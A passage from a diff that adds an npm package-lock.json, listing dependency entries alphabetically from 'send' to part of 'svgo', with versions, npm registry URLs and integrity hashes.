+      "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==",
+      "requires": {
+        "lru-cache": "^6.0.0"
+      }
+    },
+    "send": {
+      "version": "0.19.0",
+      "resolved": "https://registry.npmjs.org/send/-/send-0.19.0.tgz",
+      "integrity": "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==",
+      "requires": {
+        "debug": "2.6.9",
+        "depd": "2.0.0",
+        "destroy": "1.2.0",
+        "encodeurl": "~1.0.2",
+        "escape-html": "~1.0.3",
+        "etag": "~1.8.1",
+        "fresh": "0.5.2",
+        "http-errors": "2.0.0",
+        "mime": "1.6.0",
+        "ms": "2.1.3",
+        "on-finished": "2.4.1",
+        "range-parser": "~1.2.1",
+        "statuses": "2.0.1"
+      },
+      "dependencies": {
+        "debug": {
+          "version": "2.6.9",
+          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+          "requires": {
+            "ms": "2.0.0"
+          },
+          "dependencies": {
+            "ms": {
+              "version": "2.0.0",
+              "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+              "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+            }
+          }
+        },
+        "encodeurl": {
+          "version": "1.0.2",
+          "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz",
+          "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w=="
+        },
+        "ms": {
+          "version": "2.1.3",
+          "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+          "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
+        }
+      }
+    },
+    "serialize-javascript": {
+      "version": "6.0.2",
+      "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz",
+      "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==",
+      "requires": {
+        "randombytes": "^2.1.0"
+      }
+    },
+    "serve-index": {
+      "version": "1.9.1",
+      "resolved": "https://registry.npmjs.org/serve-index/-/serve-index-1.9.1.tgz",
+      "integrity": "sha512-pXHfKNP4qujrtteMrSBb0rc8HJ9Ms/GrXwcUtUtD5s4ewDJI8bT3Cz2zTVRMKtri49pLx2e0Ya8ziP5Ya2pZZw==",
+      "requires": {
+        "accepts": "~1.3.4",
+        "batch": "0.6.1",
+        "debug": "2.6.9",
+        "escape-html": "~1.0.3",
+        "http-errors": "~1.6.2",
+        "mime-types": "~2.1.17",
+        "parseurl": "~1.3.2"
+      },
+      "dependencies": {
+        "debug": {
+          "version": "2.6.9",
+          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+          "requires": {
+            "ms": "2.0.0"
+          }
+        },
+        "depd": {
+          "version": "1.1.2",
+          "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz",
+          "integrity": "sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ=="
+        },
+        "http-errors": {
+          "version": "1.6.3",
+          "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz",
+          "integrity": "sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A==",
+          "requires": {
+            "depd": "~1.1.2",
+            "inherits": "2.0.3",
+            "setprototypeof": "1.1.0",
+            "statuses": ">= 1.4.0 < 2"
+          }
+        },
+        "inherits": {
+          "version": "2.0.3",
+          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
+          "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw=="
+        },
+        "ms": {
+          "version": "2.0.0",
+          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+          "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+        },
+        "setprototypeof": {
+          "version": "1.1.0",
+          "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz",
+          "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ=="
+        },
+        "statuses": {
+          "version": "1.5.0",
+          "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz",
+          "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA=="
+        }
+      }
+    },
+    "serve-static": {
+      "version": "1.16.2",
+      "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.2.tgz",
+      "integrity": "sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==",
+      "requires": {
+        "encodeurl": "~2.0.0",
+        "escape-html": "~1.0.3",
+        "parseurl": "~1.3.3",
+        "send": "0.19.0"
+      }
+    },
+    "set-function-length": {
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz",
+      "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==",
+      "requires": {
+        "define-data-property": "^1.1.4",
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2",
+        "get-intrinsic": "^1.2.4",
+        "gopd": "^1.0.1",
+        "has-property-descriptors": "^1.0.2"
+      }
+    },
+    "setprototypeof": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
+      "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw=="
+    },
+    "shebang-command": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
+      "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
+      "requires": {
+        "shebang-regex": "^3.0.0"
+      }
+    },
+    "shebang-regex": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
+      "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="
+    },
+    "shell-quote": {
+      "version": "1.7.3",
+      "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.7.3.tgz",
+      "integrity": "sha512-Vpfqwm4EnqGdlsBFNmHhxhElJYrdfcxPThu+ryKS5J8L/fhAwLazFZtq+S+TWZ9ANj2piSQLGj6NQg+lKPmxrw=="
+    },
+    "side-channel": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.6.tgz",
+      "integrity": "sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==",
+      "requires": {
+        "call-bind": "^1.0.7",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.4",
+        "object-inspect": "^1.13.1"
+      }
+    },
+    "signal-exit": {
+      "version": "3.0.7",
+      "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
+      "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ=="
+    },
+    "sisteransi": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz",
+      "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg=="
+    },
+    "slash": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
+      "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="
+    },
+    "sockjs": {
+      "version": "0.3.24",
+      "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.24.tgz",
+      "integrity": "sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==",
+      "requires": {
+        "faye-websocket": "^0.11.3",
+        "uuid": "^8.3.2",
+        "websocket-driver": "^0.7.4"
+      }
+    },
+    "source-list-map": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz",
+      "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw=="
+    },
+    "source-map": {
+      "version": "0.6.1",
+      "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+      "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+    },
+    "source-map-js": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz",
+      "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw=="
+    },
+    "source-map-loader": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-3.0.1.tgz",
+      "integrity": "sha512-Vp1UsfyPvgujKQzi4pyDiTOnE3E4H+yHvkVRN3c/9PJmQS4CQJExvcDvaX/D+RV+xQben9HJ56jMJS3CgUeWyA==",
+      "requires": {
+        "abab": "^2.0.5",
+        "iconv-lite": "^0.6.3",
+        "source-map-js": "^1.0.1"
+      }
+    },
+    "source-map-resolve": {
+      "version": "0.5.3",
+      "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz",
+      "integrity": "sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==",
+      "requires": {
+        "atob": "^2.1.2",
+        "decode-uri-component": "^0.2.0",
+        "resolve-url": "^0.2.1",
+        "source-map-url": "^0.4.0",
+        "urix": "^0.1.0"
+      }
+    },
+    "source-map-support": {
+      "version": "0.5.21",
+      "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz",
+      "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==",
+      "requires": {
+        "buffer-from": "^1.0.0",
+        "source-map": "^0.6.0"
+      }
+    },
+    "source-map-url": {
+      "version": "0.4.0",
+      "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.0.tgz",
+      "integrity": "sha1-PpNdfd1zYxuXZZlW1VEo6HtQhKM="
+    },
+    "sourcemap-codec": {
+      "version": "1.4.8",
+      "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz",
+      "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA=="
+    },
+    "spdy": {
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/spdy/-/spdy-4.0.2.tgz",
+      "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==",
+      "requires": {
+        "debug": "^4.1.0",
+        "handle-thing": "^2.0.0",
+        "http-deceiver": "^1.2.7",
+        "select-hose": "^2.0.0",
+        "spdy-transport": "^3.0.0"
+      }
+    },
+    "spdy-transport": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-3.0.0.tgz",
+      "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==",
+      "requires": {
+        "debug": "^4.1.0",
+        "detect-node": "^2.0.4",
+        "hpack.js": "^2.1.6",
+        "obuf": "^1.1.2",
+        "readable-stream": "^3.0.6",
+        "wbuf": "^1.7.3"
+      }
+    },
+    "sprintf-js": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
+      "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g=="
+    },
+    "stable": {
+      "version": "0.1.8",
+      "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz",
+      "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w=="
+    },
+    "stack-utils": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.5.tgz",
+      "integrity": "sha512-xrQcmYhOsn/1kX+Vraq+7j4oE2j/6BFscZ0etmYg81xuM8Gq0022Pxb8+IqgOFUIaxHs0KaSb7T1+OegiNrNFA==",
+      "requires": {
+        "escape-string-regexp": "^2.0.0"
+      },
+      "dependencies": {
+        "escape-string-regexp": {
+          "version": "2.0.0",
+          "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz",
+          "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w=="
+        }
+      }
+    },
+    "stackframe": {
+      "version": "1.3.4",
+      "resolved": "https://registry.npmjs.org/stackframe/-/stackframe-1.3.4.tgz",
+      "integrity": "sha512-oeVtt7eWQS+Na6F//S4kJ2K2VbRlS9D43mAlMyVpVWovy9o+jfgH8O9agzANzaiLjclA0oYzUXEM4PurhSUChw=="
+    },
+    "statuses": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz",
+      "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ=="
+    },
+    "string_decoder": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+      "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+      "requires": {
+        "safe-buffer": "~5.2.0"
+      },
+      "dependencies": {
+        "safe-buffer": {
+          "version": "5.2.1",
+          "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+          "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="
+        }
+      }
+    },
+    "string-length": {
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz",
+      "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==",
+      "requires": {
+        "char-regex": "^1.0.2",
+        "strip-ansi": "^6.0.0"
+      }
+    },
+    "string-natural-compare": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/string-natural-compare/-/string-natural-compare-3.0.1.tgz",
+      "integrity": "sha512-n3sPwynL1nwKi3WJ6AIsClwBMa0zTi54fn2oLU6ndfTSIO05xaznjSf15PcBZU6FNWbmN5Q6cxT4V5hGvB4taw=="
+    },
+    "string-width": {
+      "version": "4.2.3",
+      "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+      "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+      "requires": {
+        "emoji-regex": "^8.0.0",
+        "is-fullwidth-code-point": "^3.0.0",
+        "strip-ansi": "^6.0.1"
+      },
+      "dependencies": {
+        "emoji-regex": {
+          "version": "8.0.0",
+          "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+          "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
+        }
+      }
+    },
+    "string.prototype.matchall": {
+      "version": "4.0.7",
+      "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.7.tgz",
+      "integrity": "sha512-f48okCX7JiwVi1NXCVWcFnZgADDC/n2vePlQ/KUCNqCikLLilQvwjMO8+BHVKvgzH0JB0J9LEPgxOGT02RoETg==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.1",
+        "get-intrinsic": "^1.1.1",
+        "has-symbols": "^1.0.3",
+        "internal-slot": "^1.0.3",
+        "regexp.prototype.flags": "^1.4.1",
+        "side-channel": "^1.0.4"
+      }
+    },
+    "string.prototype.trimend": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.5.tgz",
+      "integrity": "sha512-I7RGvmjV4pJ7O3kdf+LXFpVfdNOxtCW/2C8f6jNiW4+PQchwxkCDzlk1/7p+Wl4bqFIZeF47qAHXLuHHWKAxog==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.4",
+        "es-abstract": "^1.19.5"
+      }
+    },
+    "string.prototype.trimstart": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.5.tgz",
+      "integrity": "sha512-THx16TJCGlsN0o6dl2o6ncWUsdgnLRSA23rRE5pyGBw/mLr3Ej/R2LaqCtgP8VNMGZsvMWnf9ooZPyY2bHvUFg==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.4",
+        "es-abstract": "^1.19.5"
+      }
+    },
+    "stringify-object": {
+      "version": "3.3.0",
+      "resolved": "https://registry.npmjs.org/stringify-object/-/stringify-object-3.3.0.tgz",
+      "integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==",
+      "requires": {
+        "get-own-enumerable-property-symbols": "^3.0.0",
+        "is-obj": "^1.0.1",
+        "is-regexp": "^1.0.0"
+      }
+    },
+    "strip-ansi": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+      "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+      "requires": {
+        "ansi-regex": "^5.0.1"
+      },
+      "dependencies": {
+        "ansi-regex": {
+          "version": "5.0.1",
+          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+          "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+        }
+      }
+    },
+    "strip-bom": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz",
+      "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w=="
+    },
+    "strip-comments": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/strip-comments/-/strip-comments-2.0.1.tgz",
+      "integrity": "sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw=="
+    },
+    "strip-final-newline": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz",
+      "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA=="
+    },
+    "strip-indent": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz",
+      "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==",
+      "requires": {
+        "min-indent": "^1.0.0"
+      }
+    },
+    "strip-json-comments": {
+      "version": "3.1.1",
+      "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz",
+      "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig=="
+    },
+    "style-loader": {
+      "version": "3.3.1",
+      "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-3.3.1.tgz",
+      "integrity": "sha512-GPcQ+LDJbrcxHORTRes6Jy2sfvK2kS6hpSfI/fXhPt+spVzxF6LJ1dHLN9zIGmVaaP044YKaIatFaufENRiDoQ==",
+      "requires": {}
+    },
+    "stylehacks": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-5.1.0.tgz",
+      "integrity": "sha512-SzLmvHQTrIWfSgljkQCw2++C9+Ne91d/6Sp92I8c5uHTcy/PgeHamwITIbBW9wnFTY/3ZfSXR9HIL6Ikqmcu6Q==",
+      "requires": {
+        "browserslist": "^4.16.6",
+        "postcss-selector-parser": "^6.0.4"
+      }
+    },
+    "supports-color": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+      "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+      "requires": {
+        "has-flag": "^3.0.0"
+      }
+    },
+    "supports-hyperlinks": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-2.3.0.tgz",
+      "integrity": "sha512-RpsAZlpWcDwOPQA22aCH4J0t7L8JmAvsCxfOSEwm7cQs3LshN36QaTkwd70DnBOXDWGssw2eUoc8CaRWT0XunA==",
+      "requires": {
+        "has-flag": "^4.0.0",
+        "supports-color": "^7.0.0"
+      },
+      "dependencies": {
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "supports-preserve-symlinks-flag": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
+      "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="
+    },
+    "svg-parser": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/svg-parser/-/svg-parser-2.0.4.tgz",
+      "integrity": "sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ=="
+    },
+    "svgo": {
+      "version": "1.3.2",
+      "resolved": "https://registry.npmjs.org/svgo/-/svgo-1.3.2.tgz",
+      "integrity": "sha512-yhy/sQYxR5BkC98CY7o31VGsg014AKLEPxdfhora76l36hD9Rdy5NZA/Ocn6yayNPgSamYdtX2rFJdcv07AYVw==",
+      "requires": {
+        "chalk": "^2.4.1",
+        "coa": "^2.0.2",
+        "css-select": "^2.0.0",
+        "css-select-base-adapter": "^0.1.1",
+        "css-tree": "1.0.0-alpha.37",
+        "csso": "^4.0.2",
+        "js-yaml": "^3.13.1",
+        "mkdirp": "~0.5.1",
+        "object.values": "^1.1.0",
+        "sax": "~1.2.4",
+        "stable": "^0.1.8",
+        "unquote": "~1.1.1",
+        "util.promisify": "~1.0.0"
+      },
+      "dependencies": {
+        "css-select": {
+          "version": "2.1.0",
+          "resolved": "https://registry.npmjs.org/css-select/-/css-select-2.1.0.tgz",
+          "integrity": "sha512-Dqk7LQKpwLoH3VovzZnkzegqNSuAziQyNZUcrdDM401iY+R5NkGBXGmtO05/yaXQziALuPogeG0b7UAgjnTJTQ==",
+          "requires": {
+            "boolbase": "^1.0.0",
+            "css-what": "^3.2.1",
+            "domutils": "^1.7.0",
+            "nth-check": "^1.0.2"
+          }
+        },
+        "css-what": {
+          "version": "3.4.2",
+          "resolved": "https://registry.npmjs.org/css-what/-/css-what-3.4.2.tgz",
+          "integrity": "sha512-ACUm3L0/jiZTqfzRM3Hi9Q8eZqd6IK37mMWPLz9PJxkLWllYeRf+EHUSHYEtFop2Eqytaq1FizFVh7XfBnXCDQ=="
+        },
+        "dom-serializer": {
+          "version": "0.2.2",
+          "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.2.2.tgz",
+          "integrity": "sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==",
+          "requires": {
+            "domelementtype": "^2.0.1",
+            "entities": "^2.0.0"
+          }
+        },
+        "domutils": {
+          "version": "1.7.0",
+          "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.7.0.tgz",
+          "integrity": "sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==",
+          "requires": {
+            "dom-serializer": "0",
+            "domelementtype": "1"
+          },
+          "dependencies": {
+            "domelementtype": {
+              "version": "1.3.1",
+              "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.1.tgz",
+              "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w=="
+            }
+          }
+        },
+        "nth-check": {
+          "version": "1.0.2",
